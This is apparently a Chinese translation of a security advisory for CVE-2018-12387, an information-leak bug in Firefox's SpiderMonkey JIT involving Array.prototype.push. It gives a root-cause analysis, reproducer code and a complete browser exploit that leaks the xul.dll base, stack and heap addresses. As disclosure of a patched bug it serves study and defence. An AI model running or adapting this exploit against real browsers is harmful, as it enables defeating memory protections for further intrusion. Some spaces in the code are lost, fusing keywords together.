*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
前言
研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。
厂商回复
这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。
漏洞CVE编号
CVE-2018-12387
漏洞发现者
BrunoKeith和NiklasBaumstark,独立安全研究员,在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。
受影响的系统
Firefox 62.0
Firefox ESR 60.2
漏洞详情
在对Spidermonkey(Mozilla的JavaScript引擎,采用C++编写)进行模糊测试的过程中,我们用下面这段代码成功触发了一次调试断言(Debug Assertion):
functionf(o) {
var a = [o];
a.length = a[0];
var useless = function () {}
var sz = Array.prototype.push.call(a, 42,43);
(function () {
sz;
})(new Boolean(false));
}
for(var i = 0; i < 25000; i++) {
f(1);
}
f(2);
上述代码触发了如下所示的断言(Assertion):
Assertion failure: isObject() and crashes in release
Build
根本原因分析
在运行JIT编译器生成的代码时,函数f生成了上述断言。
接下来,我们一起看一看JIT代码中的IR(中间表示):
我们可以看到上图中的arraypusht指令,关于该指令的内容可参考【这篇文档】。函数中的注释信息表示,调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言,因为在调用函数时,栈指针没有被正确恢复。
在了解了错误发生的场景之后,我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler,并通过peek()来获取栈地址值:
//Load lhs in R0, rhs in R1.
frame.syncStack(0);
masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0);
masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1);
// Call IC.
ICSetProp_Fallback::Compiler compiler(cx);
if(!emitOpIC(compiler.getStub(&stubSpace_)))
return false;
// Leave the object on the stack.
frame.pop();
这个操作码会被下列JavaScript代码执行:
functionf() {
var y = {};
var o = {
a: y
};
}
dis(f);
/* bytecode:
00000: newobject ({}) # OBJ
00005: setlocal 0 # OBJ
00009: pop #
00010: newobject ({a:(void 0)}) # OBJ
00015: getlocal 0 # OBJ y
00019: initprop "a" # OBJ
00024: setlocal 1 # OBJ
00028: pop #
00029: retrval #
*/
Handler告诉了我们这个操作码是如何被编译的:R0被设置为了stack[top-1] = o,R1被设置为了stack[top] = y,接下来内部缓存会设置R0.a = R1。由于栈地址偏移,在下面的代码中会执行stack[top].a = stack[top+1],因此我们可以在栈外获取一个JSValue:
vartest = {
a: 13.37
};
functionf(o) {
var a = [o];
a.length = a[0];
var useless = function () {}
useless + useless;
var sz = Array.prototype.push.call(a,1337, 43);
(function () {
sz
})();
var o = {
a: test
};
}
dis(f);
for(var i = 0; i < 25000; i++) {
f(1);
}
f(100);
print(test.a);
/*bytecode:
...
00034:lambda function() {} # FUN
00039:setlocal 1 # FUN
00043:pop #
00044:getlocal 1 # useless
00048:getlocal 1 # useless useless
00052:add # (useless + useless)
00053:pop #
00054:getgname "Array" # Array
00059:getprop "prototype" # Array.prototype
00064:getprop "push" # Array.prototype.push
00069:dup # Array.prototype.push Array.prototype.push
00070:callprop "call" # Array.prototype.push Array.prototype.push.call
00075:swap # Array.prototype.push.call Array.prototype.push
00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a
00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 1337
00083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 43
00085:funcall 3 # Array.prototype.push.call(...)
...
00104:newobject ({a:(void 0)}) # OBJ
00109:getgname "test" # OBJ test
00114:initprop "a" # OBJ
00119:setarg 0 # OBJ
00122:pop #
00123:retrval #
指令48只会将一个函数push进堆内存中,这样一来指令85(funcall)将不会抛出异常,因为它会尝试从栈中获取Array.prototype.push.call,但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double类型表示,而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。
漏洞利用代码
<script>
varconvert = new ArrayBuffer(0x100);
varu32 = new Uint32Array(convert);
varf64 = new Float64Array(convert);
varBASE = 0x100000000;
functioni2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE; ///
return f64[0];
}
functionf2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
functionhex(x) {
return `0x${x.toString(16)}`
}
vartest = {a:0x1337};
functiongen(m) {
var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);
var code = `
f = function(o) {
var y = test;
var a = [o];
a.length = a[0];
var useless = function() { }
useless + useless + useless + useless +useless + useless;
var sz = Array.prototype.push.call(a,1337, 43);
(function() { sz; })();
var o = ${expr};
}
`;
eval(code);
}
VERSION= '62.0';
functionexploit() {
var xul = 0;
var stack = 0;
var heap = 0;
var leak = [];
for (var i = 20; i >= 0; --i) {
gen(i);
for (var j = 0; j < 10000; j++) {
f(1);
}
f(100);
var x = f2i(test.a);
leak.push(x);
}
function xulbase(addr) {
if (VERSION == '62.0') {
var offsets = [
0x92fe34,
0x3bd4108,
];
} else {
alert('Unknown version: ' +VERSION);
throw null;
}
var res = 0;
offsets.forEach((offset) => {
if (offset % 0x1000 == addr %0x1000) {
res = addr - offset;
}
});
return res;
}
xul = xulbase(leak[1]);
stack = leak[0];
heap = leak[3];
var el = document.createElement('pre');
el.innerText = (
"XUL.dll base: " + hex(xul) +"\n" +
"Stack: " + hex(stack) +"\n" +
"Heap: " + hex(heap) +"\n" +
"\nFull leak:\n" +leak.map(hex).join("\n"))
document.body.appendChild(el);
}
</script>
<buttononclick="exploit()">Go</button>
* 参考来源:securiteam,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM